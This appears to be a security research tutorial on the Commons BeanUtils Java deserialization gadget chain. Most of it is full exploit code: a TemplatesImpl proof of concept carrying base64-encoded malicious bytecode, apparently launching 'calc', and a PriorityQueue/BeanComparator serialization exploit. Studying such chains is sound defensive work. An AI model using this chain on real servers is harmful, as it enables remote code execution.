Environment and Dependencies
- JDK: 8u66
- Commons BeanUtils: 1.8.3 (the final POC also works with 1.9.2; exact version depends on the target server)
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
Core Analysis
Commons BeanUtils enhances Java Beans by providing dynamic property access. For example, PropertyUtils.getProperty(person, "name") internally calls the bean's getName() method via reflection.
By tracing the execution, getSimpleProperty retrieves a PropertyDescriptor that contains the getName and setName methodss, and finally invokeMethod triggers the getter through reflection.
The key insight: if we control an object whose get* method triggers dangerous behavior, we can chain it. In earlier CC3 research, TemplatesImpl.getOutputProperties() was identified as such a method — it invokes newTransformer(), which loads a malicious class. By connecting PropertyUtils.getProperty(templates, "outputProperties") to this, we achieve code execution.
Initial Proof of Concept
public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = TemplatesImpl.class;
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evilBytes = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
"AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
"bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
"bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
"b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
"bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
"cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
"YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
"aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
"AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
"dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
"Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
"OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
"ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
"Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
"YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
"L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
"YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
"dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
"AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
"AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
"AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
"AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
"EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
"AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
"EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
byte[][] templateBytes = {evilBytes};
bytecodesField.set(templates, templateBytes);
Field tfactoryField = clazz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
PropertyUtils.getProperty(templates, "outputProperties"); // triggers execution
System.out.println(1); // not reached due to exception
}
}
Constructing a Deserialization Chain
To make the exploit suitable for deserialization, we need a gadget that calls PropertyUtils.getProperty during deserialization. The java.util.PriorityQueue class, when deserialized, uses a Comparator to reorder its elements. If we set the copmarator to BeanComparator with property "outputProperties", the heapify step will call beanComparator.compare(templates, templates), which in turn calls PropertyUtils.getProperty(templates, "outputProperties").
How ever, simply adding the templates object to the queue triggers the chain immediately (during add), before serialization. To avoid this, we can temporarily replace the comparator with one that does nothing (e.g., TransformingComparator from Commons Collections) during construction, then swap it back via reflection after the queue is built.
Final Exploit Code
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.comparators.AttrCompare;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CBExploit {
public static void main(String[] args) throws Exception {
// Step 1: Prepare malicious TemplatesImpl
TemplatesImpl tmpl = new TemplatesImpl();
Class<?> tmplClass = tmpl.getClass();
Field nameF = tmplClass.getDeclaredField("_name");
nameF.setAccessible(true);
nameF.set(tmpl, "x");
Field bytecodesF = tmplClass.getDeclaredField("_bytecodes");
bytecodesF.setAccessible(true);
byte[] payload = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIA..." // truncated for brevity
);
byte[][] codeArr = {payload};
bytecodesF.set(tmpl, codeArr);
Field tfactoryF = tmplClass.getDeclaredField("_tfactory");
tfactoryF.setAccessible(true);
tfactoryF.set(tmpl, new TransformerFactoryImpl());
// Step 2: Build PriorityQueue with a harmless comparator first
BeanComparator realComparator = new BeanComparator("outputProperties", new AttrCompare());
TransformingComparator dummyComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(dummyComparator);
queue.add(tmpl);
queue.add(tmpl); // two elements required for comparison
// Step 3: Replace the comparator with the real one via reflection
Field compField = PriorityQueue.class.getDeclaredField("comparator");
compField.setAccessible(true);
compField.set(queue, realComparator);
// Step 4: Serialize and deserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb.ser"));
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb.ser"));
ois.readObject();
ois.close();
}
}